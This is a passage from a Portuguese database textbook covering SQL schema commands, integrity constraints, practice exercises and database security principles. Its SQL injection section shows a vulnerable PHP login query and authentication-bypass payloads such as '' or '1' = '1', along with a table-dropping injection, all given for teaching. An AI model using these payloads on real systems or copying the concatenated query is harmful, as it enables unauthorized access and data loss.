A SQL disponibiliza comandos de evolução de esquema, utilizados para


alterar um esquema, o que significa acrescentar ou remover tabelas, atributos,
restrições, entre outros elementos. Essas alterações podem ser realizadas enquanto
o banco de dados está sendo operado, e não é necessária a recompilação do
esquema. Um dos comandos úteis nesse caso é o DROP, que pode ser empregado
para remover elementos nomeados do esquema, como tabelas, domínios ou
restrições. Por meio dele, também é possível remover o próprio esquema
(ELMASRI; NAVATHE, 2011).

O DROP pode ser utilizado de duas formas: CASCADE ou RESTRICT.


Por exemplo, para remover o esquema de um banco de dados ESCOLA e todas
as suas tabelas e demais elementos, a opção CASCADE deve ser utilizada. Nesse
mesmo exemplo, se a opção RESTRICT for utilizada, o esquema somente será
removido se não possuir elementos. Caso tenha elementos, o comando não
será executado. Por isso, para usar a opção DROP RESTRICT, o usuário precisa
remover previamente cada elemento do esquema, para somente depois poder
remover o próprio esquema (ELMASRI; NAVATHE, 2011). Veja as demonstrações
do uso do comando DROP a seguir (ELMASRI; NAVATHE, 2011).

DROP TABLE Alunos CASCADE;


DROP TABLE Alunos RESTRICT;

O comando DROP TABLE exclui todos os registros na tabela, assim


como remove a definição de tabela do catálogo. Caso seja necessário excluir
apenas os registros, mantendo a definição de tabela para outra forma de uso, o
comando DELETE deve ser utilizado, e não DROP TABLE. O comando DROP
pode ser utilizado também para descartar outros tipos de elementos de esquema
nomeados, como domínios e restrições (ELMASRI; NAVATHE, 2011). Segundo
Ramarkrishnan e Gehrke (2011), caso seja necessário excluir apenas uma visão do
banco de dados, o comando DROP VIEW pode ser aplicado.

Outro comando utilizado para alteração de esquema em SQL é o ALTER.


Por meio dele, a definição de uma tabela da base ou de outros elementos de
esquema nomeados pode ser modificada. Entre as modificações possíveis estão
acrescentar ou remover uma coluna, alterar uma definição de coluna ou, ainda,
acrescentar ou remover restrições de uma tabela. Abaixo são apresentados dois
exemplos de aplicação do comando ALTER (ELMASRI; NAVATHE, 2011).

A SQL também utiliza o conceito de catálogo, que se trata de uma coleção
nomeada de esquemas em um ambiente SQL. O ambiente SQL é, de forma
resumida, uma instalação de um SGBD relacional compatível com SQL em um
sistema operacional de um computador. O catálogo contém um esquema especial,
107
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

chamado de INFORMATION_SCHEMA, que possui informações sobre todos os


esquemas do catálogo, assim como todas as descrições de elementos. Restrições
de integridade podem ser definidas entre as relações somente se estiverem nos
esquemas dentro do mesmo catálogo (ELMASRI; NAVATHE, 2011).

Segundo Ramarkrishnan e Gehrke (2011), quando são necessárias


informações sobre uma tabela, elas são obtidas por meio do catálogo do sistema.
Assim, no nível de implementação, sempre que um SGBD necessitar descobrir
o esquema de uma tabela de catálogo, o código responsável por recuperar essas
informações precisará ser manipulado de maneira especial. Portanto, as tabelas
de catálogo podem ser consultadas da mesma maneira que qualquer outra tabela
do banco de dados, utilizando-se a linguagem de consulta do SGBD. Da mesma
forma, todas as técnicas disponíveis para a implementação e o gerenciamento de
tabelas do banco de dados são aplicadas também às tabelas de catálogos.

Em um banco de dados relacional, existem muitas relações, que podem


ser organizadas de diferentes maneiras. Dessa forma, o estado do banco inteiro
depende dos estados de todas as suas relações. No geral, um grande número de
restrições (constraints) é criado sobre os valores em um estado do banco de dados.
Essas restrições podem ser divididas em três grupos principais (ELMASRI;
NAVATHE, 2011):

• as que são inerentes ao modelo de dados e, por esse motivo, são chamadas de
restrições inerentes baseadas no modelo ou restrições implícitas;
• as que podem ser definidas diretamente nos esquemas do modelo de dados,
chamadas de restrições baseadas em esquema ou restrições explícitas;
• as que não podem ser definidas diretamente nos esquemas do modelo de
dados e, por isso, são impostas pelos programas de aplicação, sendo chamadas
de restrições baseadas na aplicação ou restrições semânticas.

A restrição de que uma relação não pode ter linhas duplicadas é uma restrição
implícita, por exemplo. Já as restrições que podem ser definidas no esquema do
modelo relacional na DDL são explícitas. Por sua vez, as restrições semânticas são
mais gerais, relacionadas ao significado e ao comportamento dos atributos. Essas
restrições dificilmente são expressas e impostas no modelo de dados; geralmente
são verificadas nos programas de aplicação que executam as atualizações no banco
de dados. As restrições explícitas podem ser restrições de domínio, de chave, sobre
valores nulos, de integridade e de integridade referencial (ELMASRI; NAVATHE,
2011). Veja a seguir exemplos de restrições na criação de tabelas.

108
TÓPICO 3 — LINGUAGEM SQL BÁSICA E SQL INJECTION

NOTA

Veja a seguir a criação da tabela Estudantes, em que o id_aluno deve ser único
e não nulo, o nome e o login também devem ser não nulos, e a idade, além de ser não nula,
é checada para confirmar se é maior do que 10 anos.

CREATE TABLE Estudantes(


id _ aluno CHAR(20) UNIQUE NOT NULL,
nome CHAR(30) NOT NULL, login CHAR (20) NOT NULL,
idade INTEGER NOT NULL CHECK (idade > 10)
);

A criação da tabela Estudantes também pode ser como apresentada a seguir, visto que
definir a chave primária em id_aluno é o mesmo que dizer que o seu valor deve ser único
e não pode ser nulo.

CREATE TABLE Estudantes(


id _ aluno CHAR(20) PRIMARY KEY,
nome CHAR(30) NOT NULL, login CHAR (20) NOT NULL,
idade INTEGER NOT NULL CHECK (idade > 10)
);

Conforme Ramarkrishnan e Gehrke (2011), as restrições de domínio,


de chave primária e de chave estrangeira são parte fundamental do modelo
de dados relacional. Por esse motivo, recebem atenção especial da maioria dos
sistemas comerciais. Entretanto, às vezes, é preciso definir restrições mais gerais.
Por exemplo, no exemplo anterior, pode-se exigir que, em um banco de dados
com a tabela Estudantes, a idade dos estudantes esteja dentro de determinado
intervalo; assim, o SGBD não permitirá a inserção ou a atualização de informações
que violarem essa restrição. Esse tipo de restrição é útil para que se evite erro na
entrada dos dados. Ainda no exemplo dos estudantes, se a restrição disser que os
estudantes precisam ter mais de 10 anos, ela pode ser considerada uma restrição
de domínio estendida, pois não está sendo definido apenas o tipo de dados (como
integer), mas também o conjunto de valores permitidos para a idade.

De forma resumida, as restrições de domínio especificam a forma que


o valor de cada atributo deve assumir, como o tipo de dados ou um intervalo
de valores possíveis. Já as restrições de chave garantem que duas tuplas, em
qualquer estado da relação, não tenham valores idênticos para todos os atributos;
para isso, define-se que uma das colunas de cada tabela seja a chave nas relações
com as demais tabelas do banco de dados. Por exemplo, em um cadastro de
colaboradores de uma empresa, o CPF pode ser definido como a chave da tabela
COLABORADORES, pois dois colaboradores não podem ter o mesmo número
de CPF. Já a restrição sobre valores nulos é utilizada para definir se esses valores

109
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

serão permitidos ou não, o que é considerada uma restrição de integridade.


Pode ser aplicada no exemplo da tabela COLABORADORES, para definir que
o atributo Nome precisa ter um valor válido, diferente de NULL; portanto, esse
atributo é restrito a ser NOT NULL (ELMASRI; NAVATHE, 2011).

NTE
INTERESSA

Você viu até diferentes conceitos de restrições em SQL. Acessando o link


a seguir, você pode conferir conceitos adicionais sobre restrições de chave primária e
estrangeira, que podem ser empregadas em diferentes versões de bancos de dados em
SQL: https://qrgo.page.link/9VXZg

As restrições de integridade são definidas quando uma relação é criada


e são verificadas quando uma relação é modificada. Portanto, se um comando
de inserção, exclusão ou atualização causa alguma violação nas restrições, ele
é rejeitado. Veja a seguir exemplos de inserção que não respeitam restrições
(RAMARKRISHNAN; GEHRKE, 2011).

De acordo com Elmasri e Navathe (2011, p. 47):


A restrição de integridade de entidade afirma que nenhum valor de
chave primária pode ser NULL. Isso porque o valor da chave primária
é usado para identificar tuplas individuais em uma relação. Ter valores
NULL para a chave primária implica que não podemos identificar
algumas tuplas. Por exemplo, se duas ou mais tuplas tivesse NULL
para suas chaves primárias, não conseguiríamos distingui-las ao tentar
referenciá-las por outras relações. As restrições de chave e as restrições
de integridade são especificadas sobre relações individuais. A restrição
de integridade referencial é especificada entre duas relações e é usada
para manter a consistência entre tuplas nas duas relações.

As restrições de integridade são incluídas na linguagem de definição de


dados, pois ocorrem na maioria das aplicações de banco de dados. Existem outros
diversos tipos e exemplos de restrições em SQL, entre eles estão as restrições
de integridade semântica, que podem ser impostas em um banco de dados
relacional. São exemplos desse tipo de restrição: o salário de um colaborador não
pode ser maior do que o salário do seu supervisor; o número máximo de horas
que um colaborador pode trabalhar sem intervalo para refeição é seis horas. Esse
tipo de restrição pode ser definido e imposto em programas de aplicação que
atualizam o banco de dados. Em SQL, os comandos CREATE ASSERTION (criar
afirmações) e CREATE TRIGGER (criar gatilhos) podem ser utilizados para esse
fim (ELMASRI; NAVATHE, 2011).

110
TÓPICO 3 — LINGUAGEM SQL BÁSICA E SQL INJECTION

3 SQL INJECTION
A expressão SQL Injection, ou simplesmente injeção de SQL, em livre
tradução, é um tipo de ataque em que o invasor insere instruções SQL em campos
de formulário que realizam operações em bancos de dados, por exemplo, consultas
em telas de login ou inserção em formulários de fale conosco de sistemas (PHP,
2001-2018f).

O ataque é bem-sucedido quando o sistema apresenta vulnerabilidades


que facilitam a execução de scripts pelo invasor, que normalmente ataca com as
seguintes finalidades:

• Acessar sistemas: instruções específicas permitem entrar em sistemas


desprotegidos sem ter cadastro para acessá-los. Ao acessar um sistema, o invasor
pode extrair informações confidenciais ou até executar ações específicas, como
autorizar pedidos, renovar contratos etc.
• Quebrar sistemas: por meio de determinadas instruções, o invasor consegue
excluir ou modificar registros na base de dados do sistema invadido, podendo
proporcionar falhas ou até tirar o sistema do ar.

Ao pegar como exemplo a tela de login de um sistema qualquer
desenvolvido em PHP por exemplo, composta pelos campos e-mail e senha,
considera-se que a expressão SQL a seguir, ou algo semelhante, seja executada
para validar os dados do usuário para acessar o sistema.

1 SELECT nome
2 FROM usuario
3 WHERE email = '$email'
4 AND senha = '$email'

O conteúdo das variáveis $email e $senha é, então, enviado ao banco


de dados para realizar a validação, verificando se o usuário informado está
cadastrado e se a sua senha está correta. No entanto, um usuário mal-intencionado
pode enviar instruções SQL em vez de os dados de usuário e senha, que serão
executados no banco de dados.

Ao receber as instruções SQL, em vez de dados de usuário e senha, um


sistema em PHP vulnerável pode executar essas instruções e comprometer a
confidencialidade e a confiabilidade das informações armazenadas no banco de
dados.

Para representar os casos de invasão pela tela de login de um sistema


vulnerável, apresentamos a tela da Figura 16, que contém os campos usuário e
senha do tipo string.

111
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

FIGURA 16 – TELA DE LOGIN

FONTE: O autor

Para realizar o acesso em um sistema vulnerável, sem possuir um usuário


cadastrado, o invasor pode inserir scripts que burlem as instruções SQL do
formulário, conforme o modelo apresentado na Figura 17.

FIGURA 17 – INSERÇÃO DE SCRIPTS NO LOGIN

FONTE: O autor

Nesse caso, a instrução SQL executada pelo aplicativo passa a ser:

1 SELECT nome
2 FROM usuario
3 WHERE email = '' or '1' = '1'
4 AND senha = '' or '1' = '1'

Dessa forma, a instrução SQL retorna todos os registros da tabela


“usuario", pois as condições verificadas para “email” e senha são válidas, isto
é, email e senha são vazios ou 1 é igual a 1. Assim, o invasor consegue acessar o
sistema pelo primeiro usuário que for trazido pela consulta no banco de dados.

O prejuízo pode ser ainda maior se o invasor souber o e-mail de um


usuário que seja administrador do sistema, assim ele passa esse e-mail no campo
email e insere a expressão SQL apenas na senha, conseguindo acesso privilegiado
ao sistema.

112
TÓPICO 3 — LINGUAGEM SQL BÁSICA E SQL INJECTION

1 SELECT nome
2 FROM usuario
3 WHERE email = 'administrador@site.com.br'
4 AND senha = '' or '1' = '1'

Além disso, dependendo da forma como a execução do programa PHP


realiza os comandos de acesso ao banco de dados, instruções SQL mais perigosas
podem ser executadas, como excluir tabelas, retirar privilégios etc.

Na Figura 18, você pode observar o encerramento da instrução SELECT,


com o caractere ponto e vírgula, e o início outra instrução SQL, que exclui a tabela
usuário do banco de dados. Os caracteres “--” representam um comentário em
SQL e indicam que o restante da instrução SQL deve ser ignorado.

FIGURA 18 – INJEÇÃO DE SQL NA TELA DE LOGIN

FONTE: O autor

NOTA

É importante que o administrador de banco de dados (DBA) crie usuários de


banco de dados específicos para rodar as instruções SQL da aplicação, com privilégios
limitados apenas às necessidades de cada funcionalidade. No caso de injeção de SQL pelo
formulário de login de um sistema vulnerável, o invasor conseguiria rodar apenas instruções
que consultam registros, sem privilégios para modificar os registros ou a estrutura das tabelas.

CHAMADA

Ficou alguma dúvida? Construímos uma trilha de aprendizagem


pensando em facilitar sua compreensão. Acesse o QR Code, que levará ao
AVA, e veja as novidades que preparamos para seu estudo.

113
RESUMO DO TÓPICO 3
Neste tópico, você aprendeu que:

• As restrições inerentes baseadas no modelo ou restrições implícitas (constraints)


são inerentes ao modelo de dados.

• O subconjunto DDL suporta criação, exclusão e modificação de definições


das tabelas e visões, enquanto o subconjunto DML permite que os usuários
formulem consultas e insiram, excluam e modifiquem tuplas.

• A DCL é utilizada para controlar o acesso e gerenciar permissões de usuários


em bancos de dados.

• O subconjunto TCL é utilizado para gerenciar mudanças feitas por instruções


em DML, o que possibilita agrupar declarações em transações lógicas.

• O comando CREATE é o principal comando SQL para criação de tabelas


(TABLE), da mesma forma que pode ser utilizado para criar visões (VIEW) ou
bases de dados (DATABASE).

• Para criar uma tabela utilizando o CREATE TABLE, esta precisa ter um nome
definido, bem como especificados seus atributos e possíveis restrições.

• Primeiramente, especificam-se os atributos, com a definição de um nome para


cada um deles, um tipo de dados e uma restrição, se for o caso, ao lado de
cada atributo.

• A DCL é utilizada para monitorar autorizações de acesso aos dados, portanto,


mantém sob controle quem pode efetivar cada ação em um banco de dados,
seja apenas leitura ou leitura e modificação.

• Os comandos DCL mais comuns nos SGBD são: GRANT, que autoriza
privilégios aos usuários para executarem comandos, consultas e alterações
nos dados armazenados, como a criação de tabelas (CREATE TABLE); e
REVOKE, que basicamente revoga os privilégios concedidos ao usuário pelo
comando anterior.

• O DROP pode ser utilizado de duas formas: CASCADE ou RESTRICT.

• Para remover o esquema de um banco de dados e todas as suas tabelas e demais


elementos, a opção CASCADE deve ser utilizada. Se a opção RESTRICT for
utilizada, o esquema somente será removido se não tiver elementos.

114
AUTOATIVIDADE

1 A SQL é uma linguagem que tem instruções para definição, consulta,


atualização e eliminação de dados. Entre os subconjuntos presentes na SQL,
assinale a alternativa CORRETA sobre qual é utilizado para definir controles
de acesso pelos usuários ao banco de dados:

a) ( ) Data Definition Language – DDL.


b) ( ) Data Manipulation Language – DML.
c) ( ) Data Control Language – DCL.
d) ( ) Restrições Inerentes Baseadas no Modelo – RIBM.

2 A instrução CREATE TABLE é empregada para criar uma nova tabela em
um banco de dados SQL. Entre as opções a seguir, assinale a alternativa
CORRETA que utiliza a instrução CREATE TABLE para criar uma tabela de
produtos com a definição de uma chave primária:

CREATE VIEW Produto(


id_produto INT PRIMARY KEY,
a) ( ) nome_produto VARCHAR(35),
valor_produto NUMERIC (16,2),
);
CREATE Produto(
id_produto INT KEY,
b) ( ) nome_produto VARCHAR(35),
valor_produto NUMERIC (16,2),
);

CREATE TABLE Produto(


id_produto INT PRIMARY KEY,
c) ( ) nome_produto VARCHAR(35),
valor_produto NUMERIC (16,2),
);

ALTER TABLE Produto(


id_produto INT,
d) ( ) nome_produto VARCHAR(35) PRIMARY KEY,
valor_produto INT,
);

3 A SQL tem comandos para restrição de privilégios de acesso ao banco de


dados. Veja a seguinte instrução:

GRANT create_table
TO usuario_pedro;

115
Para que foi criada a instrução exibida, que utilizou o comando GRANT?
a) ( ) Autorizar o privilégio de criação de tabelas para ‘usuario_pedro’.
b) ( ) Revogar o privilégio de criação de domínios para ‘usuario_pedro’.
c) ( ) Autorizar o privilégio de criação de consultas para ‘usuario_pedro’.
d) ( ) Revogar o privilégio de criação de visões para ‘usuario_pedro’.

4 A SQL disponibiliza comandos de evolução de esquema, utilizados para


alterar um esquema, o que significa acrescentar ou remover tabelas,
atributos, restrições, entre outros elementos. Um dos comandos úteis neste
caso é o DROP. Sobre o uso do comando DROP, assinale a alternativa
CORRETA:

a) ( ) O comando DROP com a opção CASCADE serve para remover todos


os registros de uma tabela de banco de dados, mantendo a definição da
tabela.
b) ( ) O comando DROP TABLE serve para remover todos os registros de
uma tabela de banco de dados, mantendo a definição da tabela.
c) ( ) O comando DROP TABLE serve para remover o esquema de um banco
de dados e todas as suas tabelas e demais elementos.
d) ( ) O comando DROP com a opção CASCADE serve para remover o
esquema de um banco de dados e todas as suas tabelas.

5 O comando ALTER é empregado para alterar a definição de uma tabela da


base de dados ou de outros elementos de esquema. Analise as seguintes
instruções em SQL e assinale a alternativa CORRETA na qual o comando
ALTER é utilizado para incluir um atributo na tabela ‘PRODUTOS’:

ALTER TABLE PRODUTOS


a) ( ) ADD ATRIBUTO fornecedor VARCHAR(25);

ALTER TABLE PRODUTOS


b) ( ) DROP COLUMN fornecedor VARCHAR(25);

ALTER TABLE PRODUTOS


c) ( ) DROP COLUMN fornecedor CASCADE;
ALTER TABLE PRODUTOS
d) ( ) ADD COLUMN fornecedor VARCHAR(25);

116
REFERÊNCIAS
ALVES, G. F. O. 6 motivos para usar bancos de dados NOSQL. 2016. Disponível
em: https://dicasdeprogramacao.com.br/6-motivos-para-usar-bancos-de-dados-
nosql/. Acesso em: 4 jun. 2020.

BASTOS, A. M. Alta disponibilidade no SQL server. 2015. Disponível em:


https://www.devmedia.com.br/alta-disponibilidade-no-sql-server/33296. Acesso
em: 4 jun. 2020.

CRITCHLEY, T. High availability IT services. Boca Raton: CRC, 2014.

ELMASRI, R.; NAVATHE, S. B. Sistemas de banco de dados. 6. ed. São Paulo:


Pearson, 2011.

FARIA, H. H. Bacula: o software livre de backup. 3 ed. Rio de Janeiro: Brasport,


2017.

LONEY, K.; BRYLA, B. Oracle 10g: o manual do DBA. Rio de Janeiro: Elsevier,
2005.

ORACLE. Database backup methods. 2019a. Disponível em: https://dev.mysql.


com/doc/refman/5.6/en/backup-methods.html. Acesso em: 9 abr. 2019.

ORACLE. The binary log. 2019b. Disponível em: https://dev.mysql.com/doc/


refman/5.6/en/binary-log.html. Acesso em: 9 abr. 2019.

ORACLE. Mysqldump: a database backup program. 2019c. Disponível em: https://


dev.mysql.com/doc/refman/8.0/en/mysqldump.html. Acesso em: 9 abr. 2019.

PIRES, C. E. M. Fundamento de SQL com ênfase em Postgres. Brasília, DF:


AgBook, 2017.

PHP. base64_encode. [S.l.]: The PHP Group, 2001-2018a. Disponível em: http://
br.php.net/base64_encode. Acesso em: 21 jan. 2018.

PHP. crypt. [S.l.]: The PHP Group, 2001-2018b. Disponível em: https://secure.
php.net/manual/pt_BR/function.crypt.php. Acesso em: 21 jan. 2018.

PHP. Filtragem de dados. [S.l.]: The PHP Group, 2001-2018c. Disponível em:
https://secure.php.net/manual/pt_BR/book.filter.php. Acesso em: 21 jan. 2018.

PHP. Funções pra verificação de tipo de caractere. [S.l.]: The PHP Group, 2001-
2018d. Disponível em: https://secure.php.net/manual/pt_BR/book.ctype.php.
Acesso em: 21 jan. 2018.

117
PHP. hash. [S.l.]: The PHP Group, 2001-2018e. Disponível em: https://secure.
php.net/manual/pt_BR/function.hash.php. Acesso em: 21 jan. 2018.

PHP. Injeção de SQL. [S.l.]: The PHP Group, c2001-2018f. Disponível em: http://
php.net/manual/pt_BR/security.database.sql-injection.php. Acesso em: 21 jan. 2018.

PHP. md5. [S.l.]: The PHP Group, c2001-2018g. Disponível em: http://br.php.net/
md5. Acesso em: 21 jan. 2018.

PHP. password_hash. [S.l.]: The PHP Group, c2001-2018h. Disponível em:


http://php.net/manual/pt_BR/function.password-hash.php. Acesso em: 21 jan. 2018.

PHP. sha1. [S.l.]: The PHP Group, c2001-2018i. Disponível em: http://br.php.net/
sha1. Acesso em: 21 jan. 2018.

PITT, C. Pro PHP MVC: everything you need to know about using MVC with
PHP in a single reference. New York: Apress, 2012.

RAMARKRISHNAN, R.; GEHRKE, J. Sistemas de gerenciamento de banco de


dados. 3. ed. Porto Alegre: AMGH, 2011.

RAY, M. et al. Fazer backup e restaurar bancos de dados do SQL Server. 2018.
Disponível em: https://bit.ly/3iRv5FU. Acesso em: 9 abr. 2019.

SCHMIDT, K. High availability and disaster recovery: concepts, design,


implementation. Frankfurt: Springer, 2006.

TECLOGICA. Gestão de banco de dados: 7 erros que você precisa evitar. 2017.
Disponível em: https://blog.teclogica.com.br/7-erros-que-voce-precisa-evitar-na-
sua-gestao-de--banco-de-dados/. Acesso em: 4 jun. 2020.

TUTORIALSPOINT. IBM Db2. 2020. Disponível em: https://ibm.co/3APOuNE.


Acesso em: 6 jun. 2020.

VIANA, A. L. S. MySQL: replicação de dados. 2011. Disponível em: https://www.


devmedia.com.br/mysql-replicacao-de-dados/22923. Acesso em: 9 abr. 2019.

WATSON, J. OCA Oracle Database 11g: Administração I (Guia do Exame 1Z0-


052): preparação completa para o exame. Porto Alegre: Bookman, 2010.

118
UNIDADE 3 —

INFLUÊNCIA DA SEGURANÇA NAS


CARACTERÍSTICAS E FUNÇÕES DOS
BANCOS DE DADOS

OBJETIVOS DE APRENDIZAGEM
A partir do estudo desta unidade, você deverá ser capaz de:

• conhecer as características de um banco de dados;

• entender sobre disponibilidade, backup e controle de redundância em


banco de dados;

• conhecer sobre criptografia em bancos de dados, mais especificamente


sobre criptografia de triggers e views;

• conhecer os conceitos e a importância de tuning em bancos de dados.

PLANO DE ESTUDOS
Esta unidade está dividida em três tópicos. No decorrer da unidade,
você encontrará autoatividades com o objetivo de reforçar o conteúdo
apresentado.

TÓPICO 1 – CARACTERÍSTICAS DE UM BANCO DE DADOS

TÓPICO 2 – CRIPTOGRAFIA EM BANCOS DE DADOS

TÓPICO 3 – TUNING EM BANCOS DE DADOS

CHAMADA

Preparado para ampliar seus conhecimentos? Respire e vamos


em frente! Procure um ambiente que facilite a concentração, assim absorverá
melhor as informações.

119
120
TÓPICO 1 —
UNIDADE 3

CARACTERÍSTICAS DE UM BANCO DE DADOS

1 INTRODUÇÃO
A segurança é essencial em todos os processos que envolvam a criação do
banco de dados (BD), incluindo no sistema e/ou na aplicação desenvolvida, uma
vez que não tem como falar em segurança de um e do outro, pois todos estão
vinculados e interdependentes. As tecnologias de desenvolvimento são diferentes
e, consequentemente, seus recursos são diferenciados em relação à segurança e ao
controle de acesso.

Segundo Elmasri e Navathe (2011, p. 4), “[...] definir um banco de dados


envolve especificar os tipos, estruturas e restrições dos dados a serem armazenados.
A definição ou informação descritiva do banco de dados também é armazenada
pelo SGBD na forma de um catálogo ou dicionário, chamado de metadados”.

Conforme Laudon e Laudon (2014, p. 183), “Um banco de dados é um


conjunto de arquivos relacionados entre si com registros sobre pessoas, lugares
ou coisas”. Como pode ser verificado, o BD é a parte essencial que vai apresentar
a um usuário de sistema ou aplicativo as informações que ali estão contidas.

Já um Sistema Gerenciador de Banco de Dados (SGBD) “[...] é uma coleção


de programas que permite aos usuários criar e manter um banco de dados. O
SGBD é um sistema de software de uso geral que facilita o processo de definição,
construção, manipulação e compartilhamento de bancos de dados entre diversos
usuários e aplicações” (ELMASRI; NAVATHE, 2011, p. 3-4).
A construção do banco de dados é o processo de armazenar os dados
em algum meio controlado pelo SGBD. A manipulação de um banco
de dados inclui funções como consulta ao banco de dados para
recuperar dados específicos, atualização do banco de dados para
refletir mudanças no minimundo e geração de relatórios com base
nos dados. O compartilhamento de um banco de dados permite que
diversos usuários e programas acessem-no simultaneamente.
Um programa de aplicação acessa o banco de dados ao enviar consultas
ou solicitações de dados ao SGBD. Uma consulta normalmente resulta
na recuperação de alguns dados; uma transação pode fazer que alguns
dados sejam lidos e outros, gravados no banco de dados. Outras
funções importantes fornecidas pelo SGBD incluem proteção do
banco de dados e sua manutenção por um longo período. A proteção
inclui proteção do sistema contra defeitos (ou falhas) de hardware
ou software e proteção de segurança contra acesso não autorizado
ou malicioso. Um banco de dados grande pode ter um ciclo de vida
de muitos anos, de modo que o SGBD precisa ser capaz de manter o
sistema, permitindo que ele evolua à medida que os requisitos mudam
com o tempo (ELMASRI; NAVATHE, 2011, p. 4).

121
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

Segundo Elmasri e Navathe (2011, p. 12), “[...] um SGBD deve oferecer


um subsistema de segurança e autorização, que o DBA utiliza para criar
contas e especificar suas restrições. Então, o SGBD deve impor essas restrições
automaticamente”. Conforme Brown e Stallings (2014, p. 98), “[...] um administrador
de segurança mantém um banco de dados de autorização que especifica qual tipo
de acesso a quais recursos é permitido para esse usuário. A função de controle de
acesso consulta esse banco de dados para determinar se concede ou não o acesso”.

É válido ressaltar que funções como auditoria e monitoração no BD, com


registros dos acessos do usuário aos recursos do sistema, são fortes mecanismos
de segurança, possibilitando verificação e acompanhamento das ações que estão
sendo realizadas e também análise dos processos envolvendo o banco.

De acordo com Laudon e Laudon (2014, p. 190), os BD devem “[...]


contemplar outras informações, como uso; proprietário (quem, dentro da
organização, é responsável pela manutenção dos dados); autorização; segurança;
e os indivíduos, as funções empresariais, os programas e os relatórios que usam
cada elemento de dado”.

Já para Ferreira (2017, p. 79), “[...] a segurança da informação é obtida por


meio da implantação de um conjunto de medidas que envolvem pessoas, processos
e tecnologias, visando a garantir a disponibilidade, integridade, confidencialidade,
autenticidade e irretratabilidade ou não repúdio da informação”. Além disso, ele
acrescenta que “[...] essas características são conhecidas também como atributos de
uma informação segura ou princípios de segurança da informação” (FERREIRA,
2017, p. 79). Assim, é importante destacar alguns detalhes sobre cada uma dessas
características:
• Disponibilidade: é a qualidade da informação estar sempre acessível
e em condições de ser utilizada pelo usuário autorizado.
• Integridade: é a garantia de que a informação não foi alterada,
mantendo suas características originais.
• Confidencialidade: é a propriedade de que a informação será acessada
somente por usuários autorizados, evitando seu conhecimento ou sua
divulgação a pessoas sem permissão.
• Autenticidade: é a garantia de que a informação foi originada na
fonte anunciada, ou seja, que a informação foi produzida por quem
diz tê-la produzido.
• Irretratabilidade ou não repúdio: é a característica de não poder
negar ações referentes à informação, isto é, o usuário não conseguir
negar que enviou a informação, ou a acessou, ou a modificou, ou a
copiou, ou a destruiu etc. (FERREIRA, 2017, p. 79-80).

Outra reflexão importante sobre esse tema é se existe algum processo


que deve ser realizado de forma sequencial e que proporcione segurança nas
informações, inclusive no BD. A resposta é que isso depende, pois realizar
a Segurança da Informação e de Comunicações (SIC) em uma empresa ou
organização não é uma tarefa simples nem rápida. O primeiro passo é reconhecer
e definir qual é o valor da informação para essa empresa, realizando a Gestão
de Riscos em todos os processos que envolvam dados, sistemas e recursos, para

122
TÓPICO 1 — CARACTERÍSTICAS DE UM BANCO DE DADOS

que sejam definidas as vulnerabilidades ou fraquezas desse processo, além de


identificar como que as ameaças e as vulnerabilidades podem ser exploradas e,
assim, causar danos, perdas ou ataques às informações (FERREIRA, 2017).
As ameaças aos bancos de dados podem resultar na perda ou degradação
de alguns ou de todos os objetivos de segurança comumente aceitos:
integridade, disponibilidade e confidencialidade.
• Perda de integridade. A integridade do banco de dados refere-se
ao requisito de que a informação seja protegida contra modificação
imprópria. A modificação de dados inclui criação, inserção,
atualização, mudança do status dos dados e exclusão. A integridade
é perdida se mudanças não autorizadas forem feitas nos dados
por atos intencionais ou acidentais. Se a perda da integridade
do sistema ou dos dados não for corrigida, o uso continuado do
sistema contaminado ou de dados adulterados poderia resultar em
decisões imprecisas, fraudulentas ou errôneas.
• Perda de disponibilidade. A disponibilidade do banco de dados
refere-se a tornar os objetos disponíveis a um usuário humano ou a
um programa ao qual eles têm um direito legítimo.
• Perda de confidencialidade. A confidencialidade do banco
de dados refere-se à proteção dos dados contra exposição não
autorizada. O impacto da exposição não autorizada de informações
confidenciais pode variar desde a violação do Data Privacy Act
até o comprometimento da segurança nacional. A exposição não
autorizada, não antecipada ou não intencional poderia resultar em
perda de confiança pública, constrangimento ou ação legal contra a
organização.
Para proteger os bancos de dados contra esses tipos de ameaças, é
comum implementar quatro tipos de medidas de controle: controle
de acesso, controle de inferência, controle de fluxo e criptografia
(ELMASRI; NAVATHE, 2011, p. 563).

NOTA

SIC significa proteger a informação, preservando seu valor e garantindo os


princípios de disponibilidade, integridade, confidencialidade, autenticidade e irretratabilidade
(FERREIRA, 2017, p. 80).

Ferreira (2017), além de apresentar o conceito de SIC, elenca quais são as


medidas necessárias para ser atingida a segurança.
Ainda sobre os conceitos de SIC, o conjunto de medidas para obter a
segurança da informação, citado anteriormente, envolve a Segurança
física ou do ambiente, a Segurança lógica ou Controle de acesso, a
Segurança da rede ou da transmissão, e a Segurança do armazenamento.
A saber:
• Segurança física: preocupa-se em evitar o acesso físico às instalações
e informações da organização por indivíduos não autorizados ou
estranhos à empresa.

123
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

• Segurança lógica: visa garantir que o acesso à informação eletrônica


seja feito dentro dos princípios da SIC. É implementado através de
senhas, níveis de acesso e privilégios etc.
• Segurança da rede: consiste em estratégias e políticas implementadas
através de softwares, hardwares e procedimentos – adotadas para
impedir o acesso não autorizado, o uso indevido, a modificação ou a
negação de serviço durante a transmissão da informação pela rede.
• Segurança no armazenamento: é um conjunto de medidas que visa
preservar a informação que estiver guardada, envolvendo cópias de
segurança (backup), dispositivos de armazenamento (fitas, discos,
cartões SD, nuvem, CD/DVD) e redundância de dados (FERREIRA,
2017, p. 81).

Quando falamos de banco de dados, são muito amplos os recursos e as


funcionalidades existentes, pois cada tecnologia, às vezes, é mais adequada a
certo tipo de armazenamento e também possui características diferenciadas no
momento de disponibilizar a informação. Segundo Elmasri e Navathe (2011, p.
32), pode-se “[...] categorizar os SGBDs com base no modelo de dados: relacionais,
objeto, objeto-relacional, hierárquico, rede, entre outros”.

Entretanto, com necessidades cada vez maiores e mais complexas, as


aplicações tradicionais serviram de base para que novos estudos e desenvolvedores
